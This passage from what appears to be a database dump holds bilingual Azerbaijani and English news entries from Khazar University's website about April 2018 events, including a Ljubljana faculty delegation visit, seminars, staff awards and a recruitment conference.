of School of Economics and Management, Dr. Shahriyar Mukhtarov, Vice-Dean of School of Economics and Management, Dr. Elvin Mammadov, Coordinator and Lecturer, School of Economics and Management, Dr. Bahadir Baysal, Coordinator and Lecturer, School of Economics and Management, Ms. Raziya Isayeva, Director of Development Center, and Ms. Turan Jafarova, Director of International Affairs Office.</p><p>Khazar University started its cooperation with FELU in 2015 within the International Credit Mobility component of the Erasmus+ Programme. Since then five students from the School of Economics and Management of Khazar University benefited from mobility opportunities within this cooperation. Each of them spent one semester at FELU. Currently, three students of Khazar University are participating in a semester-long exchange at FELU.</p>'),(5444,3142,'az','Lyublyana Universitetinin İqtisadiyyat fakültəsi Xəzər Universitetinə səfər etdi','23-24 aprel 2018-ci il tarixlərində Xəzər Universiteti Lylublyana Universitetinin İqtisadiyyat fakültəsinin...','<p>2018-ci il aprelin 23-ü və 24-də Xəzər Universiteti Lylublyana Universitetinin İqtisadiyyat fakültəsinin (FELU) nümayəndələrini qəbul etdi. Səfərin ilk günü qonaqlara Azərbaycanın mədəniyyəti və tarixi ilə tanışlıq proqramı təşkil edildi. Bu məqsədlə qonaqlar Qobustan dövlət tarixi-bədii qoruğuna səfər etdilər.</p><p>Aprelin 24-də müsafirlər Xəzər Universitetinin “Neftçilər” kampusunda həyata keçirilən proqramda iştirak etdilər. Həmçinin, universitetin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı qonaqlarla görüşdü.</p><p>FELU-nun nümayəndə heyətinə Beynəlxalq əlaqələr şöbəsinin direktoru Danijela Voljc, Beynəlxalq əlaqələr ofisinin nümayəndəsi Klavdija Besednjak, Keyfiyyətin Təminatı Ofisinin rəhbəri Smiljana Zajec, Marketinq şöbəsinin direktoru Tanja Gvozdenovic, Mühasibatlıq şöbəsinin rəhbəri Dusan Jerse və Xəzər Universitetinin İngilis dili və ədəbiyyatı departamentində bir neçə mühazirə oxuyan İqtisadiyyat fakültəsinin Biznes ingilis dili fənni üzrə mühazirəçisi Zenja Kansky-Rozman daxil idilər.</p><p>Xəzər Universitetini isə Akademik işlər üzrə prorektoru professor Məhəmməd Nuriyev, İqtisadiyyat və menecment fakültəsinin dekanı dr. Ceyhun Məmmədov, İqtisadiyyat və menecment fakültəsinin dekan müavini Dr. Şəhriyar Muxtarov, İqtisadiyyat və menecment fakültəsinin müəllimi Dr. Elvin Məmmədov, İqtisadiyyat və menecment fakültəsinin müəllimi Dr. Bahadır Baysal, İnkişaf Mərkəzinin direkoru Raziyə İsayeva, Beynəlxalq əlaqələr şöbəsinin direktoru Turan Cəfərova təmsil edirdilər.</p><p>Xəzər Universiteti FELU ilə əməkdaşlığa 2015-ci ildə Erasmus+ proqramının tərkibi olan Beynəlxalq Kredit Mobilliyi çərçivəsində başlamışdır. O zamandan etibarən əməkdaşlıq daxilində Xəzər Universitetinin İqtisadiyyat və menecment fakültəsinin beş tələbəsi proqramdan faydalanmışlar. Onlardan hər biri FELU-da bir semestr təhsil almışlar. Hazırda Xəzər Universitetinin üç tələbəsi FELU-da bir semesterlik mübadilə proqramının iştirakçısıdır.</p>'),(5445,3143,'az','Xəzər Universitetinin əməkdaşı haqqında məqalə yayımlanıb','2018-ci il aprelin 24-də Müstəqil.az saytı ADPU Cəlilabad filialının müəllimi...','<p>2018-ci il aprelin 24-də <strong><em>Müstəqil.az</em></strong> saytı ADPU Cəlilabad filialının müəllimi, filologiya üzrə fəlsəfə doktoru Bilal Alarlının (Hüseynovun) Azərbaycan dili və ədəbiyyatı departamentinin müəllimi Qardaşxan Əzizxanlının yaradıcılığı haqqında “Sözü kimliyi olan şair” adlı məqaləsini yayımlamışdır.</p><p>Məqaləni bu linkdən oxumaq olar:</p><p><a href=\"http://www.mustaqil.az/2018/04/24/sozu-kimliyi-olan-sair/\">http://www.mustaqil.az/2018/04/24/sozu-kimliyi-olan-sair/</a><br></p>'),(5446,3143,'en','An article about Khazar University instructor','On April 24, 2018, Müstəqil.az news portal posted an article...','<p>On April 24, 2018, <strong><em>Müstəqil.az</em></strong> news portal posted an article “A word as an identity of a poet” by Bilal Alarli (Huseynov), PhD in Philology and instructor of Azerbaijan State Pedagogical University, Jalilabad branch, which is dedicated to Gardashkhan Azizkhanli’s creative work, instructor of the Department of Azerbaijani Language and Literature, School of Education, Khazar University.</p>\r\n<p>The full article is available at:</p><p><a href=\"http://www.mustaqil.az/2018/04/24/sozu-kimliyi-olan-sair/\">http://www.mustaqil.az/2018/04/24/sozu-kimliyi-olan-sair/</a><br></p>'),(5447,3144,'az','“Ətraf mühitin yaşıl təmizləməsi” mövzusunda seminar olacaq','2018-ci il aprelin 27-si saat 10:30-da Xəzər Universiteti Doktorantura və Magistratura...','<p>2018-ci il aprelin 27-si saat 10:30-da Xəzər Universiteti Doktorantura və Magistratura Tələbə Birliyinin dəvəti ilə misirli professor <strong><a href=\"/files/letters/hesham_SUPERVISION_2018.pdf\">Hesham Elkassas</a></strong> Xəzər Universitetinin “Neftçilər” kampusunda yeni təlim otağında “Ətraf mühitin yaşıl təmizləməsi” mövzusunda seminar verəcək. Seminar ingilis dilində olacaq. Tərcümə olunacaq.</p><p>Maraqlananlar dəvət olunurlar.</p>'),(5448,3144,'en','Seminar on “Green cleaning of environment”','On April 27, 2018, at 10:30, on initiative of PhD and Master’s Students Association...','<p>On April 27, 2018, at 10:30, on initiative of PhD and Master’s Students Association of Khazar University, Egyptian Prof. <strong><a href=\"/files/letters/hesham_SUPERVISION_2018.pdf\">Hesham Elkassas</a></strong> will hold a seminar on “Green cleaning of environment” in “Neftchiler” campus of Khazar University. The working language of workshop is English. Translation will be provided.</p><p>The seminar is open to everyone.</p>'),(5449,3145,'az','Turizm ixtisasının tələbələri ilə görüş','2018-ci il aprelin 24-də Xəzər Universiteti Karyera Mərkəzinin meneceri Səbinə Allahverənova...','<p>2018-ci il aprelin 24-də Xəzər Universiteti Karyera Mərkəzinin meneceri Səbinə Allahverənova turizm ixtisasının tələbələri ilə görüş keçirdi. Görüşün əsas məqsədi hazırda bu ixtisas üzrə təhsil alan 1-ci və 2-ci il tələbələrini&nbsp;mövcud şirkətlər və təşkilatlarla bağlı məlumatlandırmaq idi.</p><p>Görüş zamanı tələbələrin karyera planları müzakirə olundu və onlara istər təcrübə proqramı mərhələsinə hazırlıq, istərsə&nbsp;də iş axtarma prosesində Karyera Mərkəzindən ala biləcəkləri dəstəklə bağlı geniş məlumat verildi.</p><p>Qeyd edək ki, Xəzər Universitetində turizm ixtisası üzrə mütəxəssis hazırlığı 2016-cı ildən başlanmışdır.</p>'),(5450,3145,'en','Meeting with students','On April 24, 2018, Sabina Allahveranova, manager of Career Center or Khazar University...','<p>On April 24, 2018, Sabina Allahveranova, manager of Career Center or Khazar University, held a meeting with students majoring in Tourism. The aim of the meeting was to inform first and second year students about companies and organisations dealing with tourism.</p><p>During the meeting, students discussed their career plans and received information on how Career Center can support them to find internship programs and employment. Khazar university started preparing specialists to work in the field of Tourism in 2016.</p>'),(5451,3146,'az','“Xəzər”in müəllimi diplomla təltif edildi','Aprelin 23-də Azərbaycan Respublikası Müəllif Hüquqları Agentliyi və Azərbaycan Respublikası...','<p>Aprelin 23-də Azərbaycan Respublikası Müəllif Hüquqları Agentliyi və Azərbaycan Respublikası Ailə, Qadın və Uşaq Problemləri üzrə Dövlət Komitəsinin birgə təşkilatçılığı ilə Holiday Inn Baku otelində “Beynəlxalq Əqli Mülkiyyət Günü” münasibətilə “İnnovasiya və yaradıcılıqda qadınlar: dəyişikliyin aparıcı qüvvəsi” mövzusunda dəyirmi masa keçirilmişdir.</p><p>Tədbirdə Elektronika, telekommunikasiya və radiomühəndislik departamentinin müəllimləri - fizika üzrə fəlsəfə doktorları, dosentlər Sevda Qəribova və Fəridə Tatardar da iştirak etmişlər.</p><p>Sevda Qəribova yaradıcılıq və innovasiya sahəsində nailiyyətlərinə görə diplomla təltif olunmuşdur.</p>'),(5452,3146,'en','Khazar university instructor awarded with a diploma','On April 23, 2018, the round-table talks on “Women in innovation and creativity: leading power of change...','<p>On April 23, 2018, the round-table talks on “Women in innovation and creativity: leading power of change” was held in Holiday Inn Baku hotel on the occasion of “International Intellectual Property Day” on the joint organizational support of the Copyright Agency of Azerbaijan Republic and the State Committee for Family, Women and Children Affairs of Azerbaijan Republic. Instructors of the Department of Electronics, Telecommunications and Radio Engineering, Assoc. Prof. Sevda Garibova, PhD in Physics, and Farida Tatardar participated in the event. Sevda Garibova was awarded with a diploma for success in creativity and innovation.</p>'),(5479,3160,'az','Xəzər Universitetinin əməkdaşı dosent adını aldı','2018-ci il aprelin 30-da Ali Attestasiya Komissiyasında Xəzər Universiteti Dillər...','<p>2018-ci il aprelin 30-da Ali Attestasiya Komissiyasında Xəzər Universiteti Dillər və mədəniyyətlər departamentinin koordinatoru f.ü.f.d. Zivər Hüseynli-Baylana dosent diplomu təqdim olundu.</p><p>Qeyd edək ki, Azərbaycan Respublikası Prezidenti yanında Ali Attestasiya Komissiyasının 28 fevral 2018-ci il tarixli qərarı ilə Xəzər Universiteti Dillər və mədəniyyətlər departmentinin koordinatoru f.ü.f.d. Zivər Hüseyn qızı Hüseynli Baylana Dillər və mədəniyyətlər kafedrası üzrə dosent elmi adı verilmişdir.</p>'),(5472,3156,'en','President of International Eurasia Press Fund meets “THE SAME” team','On April 24, 2018, three team members of “THE SAME”, students of the School of Economics...','<p>On April 24, 2018, three team members of “THE SAME”, students of the School of Economics and Management, met with Umid Mirzayev, the President of International Eurasia Press Fund (IEPF). During the meeting, the aim and future plans of the team were discussed.</p><p>It was mentioned that the activities of the team and its message to the society were of great importance. Moreover, it was noted that it was crucial to struggle against racism and take measures against hate speech disseminated over the internet. The meeting lasted an hour. Umid Mirzayev highly appreciated initiatives of the team and stressed that he was ready to support the team. Team members became closely familiar with International Eurasia Press Fund and expressed their gratitude for the meeting.</p><p>More information on the meeting is available via the following links:</p><p><a href=\"http://eurasiadiary.com/az/news/society/274894-beynelxalq-avrasiya-metbuat-fondunun-prezidenti-the-same-komandasinin-uzvleri-ile-gorusub;\">http://eurasiadiary.com/az/news/society/274894-beynelxalq-avrasiya-metbuat-fondunun-prezidenti-the-same-komandasinin-uzvleri-ile-gorusub;</a>  <br></p><p><a href=\"http://eurasiadiary.com/en/news/society/274878-iepf-president-meets-with-the-same-team\">http://eurasiadiary.com/en/news/society/274878-iepf-president-meets-with-the-same-team</a>.</p>'),(5473,3157,'az','Doktorantın Ümummilli lider haqqında məqaləsi çap edildi','Xəzər Universiteti Humanitar və sosial elmlər fakültəsinin dekan müavini...','<p>Xəzər Universiteti Humanitar və sosial elmlər fakültəsinin dekan müavini Validə Kərimovanın (doktorant) Quba rayonunun ictimai-siyasi mətbuat orqanı olan “Şəfəq” qəzetinin 26 aprel 2018-ci il tarixli, 12-ci sayında Ümummilli lider Heydər Əliyevin anadan olmasının 95-ci ildönümünə həsr edilmiş “<a href=\"/files/letters/Shefeq.PDF\"><strong>Heydər Əliyev irsi və Azərbaycan təhsili</strong></a>” adlı məqaləsi çap edilmişdir. Məqalədə müəllif Heydər Əliyevin təhsil quruculuğundan, gənc istedadlara göstərdiyi qayğıdan, dilimizin hərtərəfli inkişafı və zənginləşməsindən, Azərbaycana rəhbərlik etdiyi dövrlərdə Quba rayonunda apardığı təhsil islahatlarından və s. əhatəli bəhs etmişdir.</p>'),(5474,3157,'en','An article about National Leader by PhD student','On April 26, 2018, an article entitled “Heydar Aliyev\'s heritage and education in Azerbaijan...','<p>On April 26, 2018, an article entitled “<strong><a href=\"http://www.khazar.org/files/letters/Shefeq.PDF\">Heydar Aliyev\'s heritage and education in Azerbaijan</a></strong>” by Valida Karimova, Vice-dean of the School of Humanities and Social Sciences, was published in the 12<sup>th</sup> number of “Shafag” newspaper, a public and political newspaper of Guba district. The article is dedicated to Heydar Aliyev’s, National Leader, 95<sup>th</sup> anniversary. The article deals with Heydar Aliyev’s role in the development of education, his care for talented young people and enrichment of our mother tongue as well as educational reforms realized in Guba by Heydar Aliyev during the period when he was in power.</p>'),(5475,3158,'az','Türkiyə Cümhuriyyətinin keçmiş Genelkurmay Başqanı ilə görüş keçiriləcək','2018-ci il mayın 3-ü saat 11:00-da “Dünya” məktəbinin konfrans zalında Azərbaycan...','<p>2018-ci il mayın 3-ü saat 11:00-da “Dünya” məktəbinin konfrans zalında Azərbaycan Xalq Cümhuriyyətinin və Azərbaycan Ordusunun yaranmasının 100 illiyi münasibətilə “Milli siyasət: Türkiyə-Azərbaycan qardaşlığı” mövzusunda Türkiyə Cümhuriyyətinin 26-cı Genelkurmay Başqanı (Baş Qərargah rəisi) orgeneral İlker Başbuğla görüş keçiriləcək.</p><p>Arzu edənlər dəvət olunurlar.</p>'),(5457,3149,'az','İsveçrənin səfiri Xəzər Universiteti ilə əməkdaşlıqdan danışdı','2018-ci il aprelin 27-də azvision.az xəbər saytı İsveçrənin Azərbaycandakı Fövqəladə və Səlahiyyətli...','<p>2018-ci il aprelin 27-də <strong><em>azvision.az</em></strong> xəbər saytı İsveçrənin Azərbaycandakı Fövqəladə və Səlahiyyətli səfiri cənab Philipp Stalderdən müsahibə almışdır. Səfir İsveçrənin Azərbaycanın hasilat sənayesinə böyük töhfələrindən danışarkən, Xəzər Universitetində həm Azərbaycan, həm də Mərkəzi Asiya ölkələrindən dəvət olunmuş qonaqlarla seminarlar keçirildiyini vurğulamışdır.</p><p>Müsahibəni tam şəkildə bu link vasitəsilə oxumaq olar:</p><p><a href=\"https://en.azvision.az/news/85640/25-years-and-counting...-exclusive-interview-with-philipp-stalder,-ambassador-of-switzerland-to-azerbaijan.html\">https://en.azvision.az/news/85640/25-years-and-counting...-exclusive-interview-with-philipp-stalder,-ambassador-of-switzerland-to-azerbaijan.html</a></p>'),(5458,3149,'en','Switzerland Ambassador talks about collaboration with Khazar University','On April 27, 2018, Mr Philipp Stalder, Ambassador Extraordinary and Plenipotentiary of Switzerland...','<p>On April 27, 2018, Mr Philipp Stalder, Ambassador Extraordinary and Plenipotentiary of Switzerland to Azerbaijan, gave an interview to <strong><em>azvision.az</em></strong> news portal. Mr Philipp Stalder noted that Switzerland has contributed a lot to the Extractive Industry of Azerbaijan. He also mentioned that seminars had been organized at Khazar University in which guests from Azerbaijan and Central Asia participated.</p>\r\n<p>The full interview is available via the following link:</p><p><a href=\"https://en.azvision.az/news/85640/25-years-and-counting...-exclusive-interview-with-philipp-stalder,-ambassador-of-switzerland-to-azerbaijan.html\">https://en.azvision.az/news/85640/25-years-and-counting...-exclusive-interview-with-philipp-stalder,-ambassador-of-switzerland-to-azerbaijan.html</a>  <br></p>'),(5453,3147,'az','PETRA layihəsi çərçivəsində növbəti seminar keçiriləcək','2018-ci il aprelin 30-u saat 16:00-da Xəzər Universitetində Erasmus+ PETRA...','<p>2018-ci il aprelin 30-u saat 16:00-da Xəzər Universitetində Erasmus+ PETRA layihəsi çərçivəsində növbəti seminar keçiriləcək. Seminar bu ilin martında Vyana Tətbiqi Elmlər Universitetində (Avstriya) müzakirə olunmuş universitet əməkdaşlarının tədqiqat vərdişlərinin inkişaf etdirilməsi, universitetlərdə keyfiyyətin təminatı məsələlərinin qoyuluşu və universitetlərdə beynəlmiləlləşmə işlərinin görülməsi məsələlərini çatdırmaq məqsədini daşıyır. Seminar Xəzər Universitetinin rəhbərliyi və departamentlərinin&nbsp;əməkdaşları üçün nəzərdə tutulmuşdur.</p>'),(5454,3147,'en','Next seminar within PETRA project','On April 30, 2018, at 16:00, next seminar within Erasmus+ PETRA project will be held...','<p>On April 30, 2018, at 16:00, next seminar within Erasmus+ PETRA project will be held at Khazar University. The aim of the seminar is to develop research skills of university employees, discussed at University of Applied Sciences bfi Vienna, Austria; to discuss quality assurance at and internationalisation at universities. The seminar is for the administration and employees of departments of Khazar University.</p>'),(5455,3148,'az','“Ertələmə” xəstəliyi adlı seminar təşkil edildi','2018-ci il aprelin 26-da Xəzər Universiteti Humanitar və sosial elmlər fakültəsi...','<p>2018-ci il aprelin 26-da Xəzər Universiteti Humanitar və sosial elmlər fakültəsi Psixologiya departamentinin və Xəzər Psixoloji Xidmət Mərkəzinin təşkilatçılığı ilə “Ertələmə” xəstəliyi adlı seminar təşkil edildi. Seminarı Psixologiya departamentinin müəllimi, gənc psixoloq Nilufər Əlizadə aparırdı. Seminar iştirakçıları sözügedən mövzuda geniş məlumat almaq və bu problemlə necə mübarizə aparmaq istiqamətində maariflənmək imkanı əldə etdilər.</p><p>Sonda isə iştirakçıların sualları cavablandırıldı və ümumi müzakirə aparıldı.</p>'),(5456,3148,'en','Seminar on “Procrastination”','On April 26, 2018, on initiatives of the Department of Psychology of Khazar University and Khazar...','<p>On April 26, 2018, on initiatives of the Department of Psychology of Khazar University and Khazar Psychological Service Center, a seminar on “Procrastination” was held. Nilufar Alizadeh, a young psychologist and instructor of the Department of Psychology, conducted the seminar. Participants were enlightened about procrastination and learned how to struggle with it.&nbsp;</p><p>The speaker held a discussion with participants and answered their questions.</p>'),(5459,3150,'az','“Maliyyə və mühasibatlıq sahəsində karyera inkişafı” adlı seminar baş tutdu','2018-ci il aprelin 26-da Xəzər Universitetinin Karyera Mərkəzinin təşəbbüsü ilə “Maliyyə...','<p>2018-ci il aprelin 26-da Xəzər Universitetinin Karyera Mərkəzinin təşəbbüsü ilə “Maliyyə və mühasibatlıq sahəsində karyera inkişafı” adlı seminar keçirildi. Seminarın keçirilməsində məqsəd Xəzər Universitetində maliyyə və mühasibatlıq üzrə bakalavr təhsili alan tələbələrin fərdi və peşəkar inkişafı üçün karyera planlamasının önəmi və onun təşkili prinsiplərinin idarə olunmasına nail olunması idi.</p><p>Headstart International şirkətinin Biznesin inkişafı üzrə meneceri İbrahim Osmanov maliyyə və mühasibatlıq sahəsində karyera qurmaq istəyən gənclərin karyera planlamasında diqqət etməli olduğu məqamlar, əmək bazarındakı rəqabət şəraitində gənc kadrların digərlərindən fərqlənməsi və üstünlüyə nail olunması üçün fərdi inkişaf planları haqqında ətraflı məlumat verdi.</p><p>Seminarda milli və beynəlxalq mühasibatlıq seçiminin şəxslərin karyeralarında edə biləcəyi dəyişiklər və perspektivə təsir mexanizminə adi mövzulara da toxunuldu.</p><p>Headstart International şirkətinin ACCA üzrə Keyfiyyətə Nəzarət Meneceri Elvin İbrahimov ACCA kvalifikasiyasının maliyyə və mühasibatlıq sahəsində karyera qurmaq istəyən gənclərə önəmi mövzusunda iştirakçılarla interaktiv müzakirə apardı. Bundan əlavə, tələbələrin maliyyə və mühasibatlıq sahəsində şəxsi inkişafları üçün zəruri olan beynəlxalq kvalifikasiyanın modulları barədə şirkət əməkdaşı iştirakçıları məlumatlandırdı.</p><p>Qeyd edək ki, 100 ildən artıq tarixi olan, mühasibatlıq, maliyyə və idarəetmə sahəsində uğurlu karyera qurmaq istəyənlər üçün yüksək səviyyəli kvalifikasiya hesab olunan ACCA dünyanın 181 ölkəsində tanınır, 486 min tələbə və 200 mindən çox üzvə malikdir.</p><p>Sonda, seminar iştirakçıları məruzəçilərə maraqlandıqları mövzular barədə suallar ünvanlayaraq və maliyyə-mühasibatlıq sahəsində gələcək karyeraları üçün geniş məlumat əldə etdilər.</p>'),(5460,3150,'en','Seminar on “Career development in finance and accounting”','On April 26, 2018, a seminar on “Career development in finance and accounting” was held on the initiative...','<p>On April 26, 2018, a seminar on “Career development in finance and accounting” was held on the initiative of Khazar University Psychology Center. The aim of the seminar was to enlighten the undergraduate students majoring in finance and accounting about the importance and methods of personal and professional development.</p><p>Ibrahim Osmanov, Business Development Manager of Headstart International company, gave students broad information on essential points in career development in finance and accounting as well as the importance of a personal development plan to become an expert with high competitiveness. He also talked about possible changes recommended for students studying national and international accounting and factors affecting the career perspective.</p><p>Elvin Ibrahimov, Quality Control Manager on ACCA of Headstart International company, held an interactive discussion with students on the importance of ACCA qualification for students wishing to build a career in finance and accounting. Besides, company employees enlightened students on modules of international qualifications which are important in terms of professional development.</p><p>ACCA, which has the historical background of more than 100 years, is considered high-level qualification for those building careers in finance and accounting. ACCA is recognized in 181 countries and has 486 thousand students and 200 thousand members.</p><p>Speakers also answered students’ questions and provided them with detailed information for a successful career in finance and accounting.</p>'),(5478,3159,'en','Good relationships between Khazar University and Malaysian Universities','On April 30, 2018, novoye-vremya news portal posted an interview with Nargiz Safarova...','<p>On April 30, 2018, <strong><em>novoye-vremya</em></strong> news portal posted an interview with Nargiz Safarova, editor-in-chief of “Новая Азия” magazine. N.Safarova talked about student exchange between Khazar University and Malaysian Universities as well as her new project implemented with “Dunya” school.</p><p>The interview is available via the following link:</p><p><a href=\"http://www.novoye-vremya.com/w128201/.../\">http://www.novoye-vremya.com/w128201/.../</a>.<br></p>'),(5480,3160,'en','The academic title of Assoc.Prof. was conferred on Khazar University associate','On April 30, 2018, Zivar Huseynli-Baylan, coordinator of the Department of Languages...','<p>On April 30, 2018, Zivar Huseynli-Baylan, coordinator of the Department of Languages and Cultures of Khazar University, was presented with a diploma of Assoc.Prof. at Supreme Attestation Commission.</p><p>Zivar Huseyn gizi Huseynli-Baylan, coordinator of the Department of Languages and Cultures of Khazar University, was granted the academic title of Assoc.Prof. of the Department of Languages and Cultures by Decision of Supreme Attestation Commission under the President of the Republic of Azerbaijan, dated February 28, 2018.</p>'),(5481,3161,'az','Xəzər Universitetinin nümayəndə heyəti abituriyentlərlə bağlı konfransda','2018-ci il aprelin 28-də Qaradağ rayonunun mərkəzində yerləşən Mədəniyyət sarayında...','<p>2018-ci il aprelin 28-də Qaradağ rayonunun mərkəzində yerləşən Mədəniyyət sarayında “Kainat” Tədris Mərkəzinin təşkilatçılığı ilə abituriyentlərin peşə-ixtisas seçimi istiqamətində maarifləndirilməsi üzrə konfrans keçirildi.</p><p>Konfrasda Qaradağ Rayon İcra başçısının müavini Təranə İsmayılova, Qaradağ Rayon Gənclər və İdman İdarəsinin rəisi Elçin Abbasov, Məşğulluq Mərkəzi, Azərbaycan Dövlət İqtisad Universitetinin, Xəzər Universitetinin, Azərbaycan Universitetinin, “Qərbi&nbsp;Kaspi” Universitetinin, Memarlıq və İnşaat Universitetinin təmsilçiləri, valideynlər, abituriyentlər və bəzi peşə təhsili verən kolleclərin və təşkilatların nümayəndələri də iştirak edirdilər. Konfrans əsasən abituriyentlərə və valideynlərə dövlət və özəl universitetlərin tanıtımı xarakteri daşıyırdı.</p><p>Tədbirdə Xəzər Universitetini Tələbələrin cəlb olunması üzrə işçi qrupun rəhbəri professor Fuat Rəsulov, Təhsil departamentinin koordinatoru Qoşqar Məhərrəmov, Mühəndislik və tətbiqi elmlər fakültəsinin müəllimi Kənan Şıxəliyev, Humanitar və sosial elmlər fakultəsinin dekan köməkçisi Paşa Aydayev və Multimedia Mərkəzinin əməkdaşı Əzizə Cəfərli təmsil edirdilər.</p><p>Mədəniyyət sarayının foyesində quraşdırılmış Xəzər Universitetinin stendində əməkdaşlarımız universitetin tanıtım broşürlərini, ixtisaslar üzrə bukletləri və eləcə də, təklif olunan güzəştlər və təqaüdlər haqqında məlumatların əks olunduğu açıqcaları valideynlərə və abituriyentlərə təqdim edilər, onları maraqlandıran sualları detallı şəkildə cavablandırdılar. Universitetimizin stendi iştirakçıların diqqət mərkəzində olmuşdur.</p>'),(5482,3161,'en','Representatives of Khazar University at a conference','On April 28, 2018, awareness raising conference was held, by the organizational...','<p>On April 28, 2018, awareness raising conference was held, by the organizational support of “Kainat” Education Center, in Culture Center of Garadagh district. The conference was dedicated to the proper choice of profession by prospective students.</p><p>Tarana Ismayilova, Deputy Head of Garadagh District Executive Power, Elchin Abbasov, Head of the Department of Youth and Sport of Garadagh District, representatives of Employment Center, Azerbaijan State Economic University, Khazar University, Azerbaijan University, Western Caspian University, University of Architecture and Construction, and vocational training colleges, as well as parents and prospective students participated in the conference. The aim of the conference was to enlighten parents and prospective students about state and private universities.</p><p>Fuat Rasulov, Coordinator of working group for prospective students, Goshgar Maharramov, Coordinator of the Department of Education, Kanan Shikhaliyev, Instructor of the School of Engineering and Applied Sciences, Pasha Aydayev, Assistant to Dean of the School of Humanities and Social Sciences, and Aziza Jafarli, associate of Multimedia Center, represented Khazar University at the conference.</p><p>At the stand of Khazar University, there were promotional leaflets and booklets reflecting professions, advantages and scholarships offered by Khazar University. Moreover, University representatives answered participants’ questions. The stand of Khazar University was in the focus of attention of the participants.</p>'),(5483,3162,'az','Misirli professor mühazirə oxudu','2018-ci ilin aprelin 27-i Misirin Ain Şəms Universitetinin Ətraf Mühit...','<p>2018-ci ilin aprelin 27-i Misirin Ain Şəms Universitetinin Ətraf Mühit elmləri və Tədqiqatı İnstitutunun dekanı professor Heşam İbrahim İbrahim El-Kassas Xəzər Universitetinin “Neftçilər” kampusunda “Ətraf mühitin yaşıl təmizlənməsi” mövzusunda mühazirə ilə çıxış etdi. Mühazirə Misir Ərəb Respublikasının Bakıdakı səfirliyinin nəzdində olan Misir Mədəniyyət Mərkəzinin direktoru, həmçinin, səfirliyin Mədəniyyət işləri üzrə attaşesi Mr. Ahmed Sami Elaydinin təşəbbüsü ilə təşkil olunmuşdu.</p><p>Mühazirədə Xəzər Universitetinin yerli və xarici tələbələri, doktorantura tədqiqatçıları, həmçinin, akademik və administrativ heyəti iştirak edirdilər. Mühazirənin ardınca, universitetin təsisçisi və Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı ilə görüş keçirildi.</p><p>Professor Heşam İbrahim İbrahim El-Kassas, həmçinin, 2018-ci il iyunun 1-i və 2-də Xəzər Universitetində keçiriləcək <strong style=\"font-style:italic\">1-ci Beynəlxalq Tək Sağlamlıq </strong>Konfransında iştirak etmək üçün dəvət olundu.</p>'),(5484,3162,'en','Lecture by a Renowned Professor from Egypt','On April 27, 2018, a renowned professor from Egypt delivered...','<p>On April 27, 2018, a renowned professor from Egypt delivered a lecture at Neftchiler Campus of Khazar University.</p><p>Professor Hesham Ibrahim Ibrahim El-Kassas, Dean of the Institute of Environmental Studies and Research at Ain Shams University (Egypt) delivered a lecture entitled “Green Clean-up of the Environment.” The lecture was organized with the support of the Egyptian Cultural Center under the Embassy of Egypt in Baku and its Director Mr. Ahmed Sami Elaydy who is also the Cultural Attaché of the Embassy of Egypt in Azerbaijan.</p><p>The lecture was attended by local and international students of Khazar University, PhD students as well as academic and administrative staff members. The lecture was followed by a meeting with Professor Hamlet Isakhanli, Founder of Khazar University, Chairman of its Board of Directors and Trustees.</p><p>Professor Hesham Ibrahim Ibrahim El-Kassas was also invited to participate in the 1<sup>st</sup> International Conference on <em><strong>One Health: Problems and Solutions</strong></em> to be held at Khazar University on June 1-2, 2018.</p>'),(5485,3163,'az','Coğrafiya və ətraf mühit departamentinin müdiri beynəlxalq konqresdə','2018-ci il aprelin 26-dan 29-dək Xəzər Universiteti Coğrafiya və ətraf mühit...','<p>2018-ci il aprelin 26-dan 29-dək Xəzər Universiteti Coğrafiya və ətraf mühit departamentinin müdiri Rövşən Abbasov Türkiyənin Kastamonu Universitetində təşkil olunmuş Beynəlxalq Mühəndislik və Təbiət Elmləri Konqresində (International Congress on Engineering and Life Sciences) iştirak etdi və “<em>Böyük Bakı ərazisində yerləşən göllərdən davamlı istifadə üçün ekoloji dizaynların tətbiqi</em>” (<em>Introducing environmental schemes for the management of the urban lake watershed and sustainable use of ecosystem services in Greater Baku Area, Azerbaijan</em>) mövzusunda çıxış etdi. Rövşən Abbasov, həmçinin, Türkiyənin Kürə Dağları Milli Parkına (Kura Daglari National Park) yürüşdə iştirak etdi.</p>'),(5486,3163,'en','Head of the Department at International Congress','On April 26-29, 2018, Rovshan Abbasov, Head of the Department of Geography...','<p>On April 26-29, 2018, Rovshan Abbasov, Head of the Department of Geography and the Environment, participated in International Congress on Engineering and Life Sciences held at Kastamonu University, Turkey, and delivered a presentation entitled “<em>Introducing environmental schemes for the management of the urban lake watershed and sustainable use of ecosystem services in Greater Baku Area, Azerbaijan</em>”. Rovshan Abbasov also joined the march to Küre Mountains National Park.</p>'),(5487,3164,'az','Xəzər Universitetinin əməkdaşları üçün PETRA – məlumatlandırıcı seminar','2018-ci il aprel 30-da Xəzər Universitetində Erasmus+ PETRA layihəsi çərçivəsində...','<p>2018-ci il aprel 30-da Xəzər Universitetində Erasmus+ PETRA layihəsi çərçivəsində İnkişaf Mərkəzi və layihə üzvlərinin təşkilatçılığı ilə növbəti məlumatlandırıcı seminar keçirildi. Seminar cari ilin martında Vyana Tətbiqi Elmlər Universitetində (Avstriya) müzakirə olunmuş universitet əməkdaşlarının tədqiqat vərdişlərinin inkişaf etdirilməsi, universitetlərdə keyfiyyətin təminatı məsələlərinin qoyuluşu və universitetlərdə beynəlmiləlləşmə işlərinin görülməsi məsələlərini çatdırmaq məqsədini daşıyırdı. Tədbirdə Xəzər Universitetinin Elmi İşlər üzrə prorektoru Dr. İradə Xəlilova, Təhsil fakültəsinin dekanı Dr. Elza Səmədova, Keyfiyyətin Təminatı Mərkəzinin direktoru Lyudmila Sotova və İnkişaf Mərkəzinin direktoru Raziyə İsayeva məruzələrlə çıxış etdilər və iştirakçıların suallarını cavablandırdılar. Xəzər Universitetinin rəhbərliyi və departamentlərinin əməkdaşları üçün nəzərdə tutulmuş seminarda universitetin fakültələrindən, mərkəzlərindən və kitabxanadan olan əməkdaşları iştirak edirdilər.</p>'),(5488,3164,'en','PETRA – informative seminar for Khazar University associates','On April 30, 2018, next informative seminar was held on an organizational...','<p>On April 30, 2018, next informative seminar was held on an organizational support of Development Center and the project participants within Erasmus+ PETRA project at Khazar University. The aim of the seminar was to develop research of Khazar University associates, which were discussed at the University of Applied Sciences Vienna (Austria) and enlighten the participants about quality assurance at universities and internationalisation of universities. Dr.&nbsp;Irada Khalilova, Vice-rector for Research, Dr. Elza Semedli, Dean of the School of Education, Lyudmila 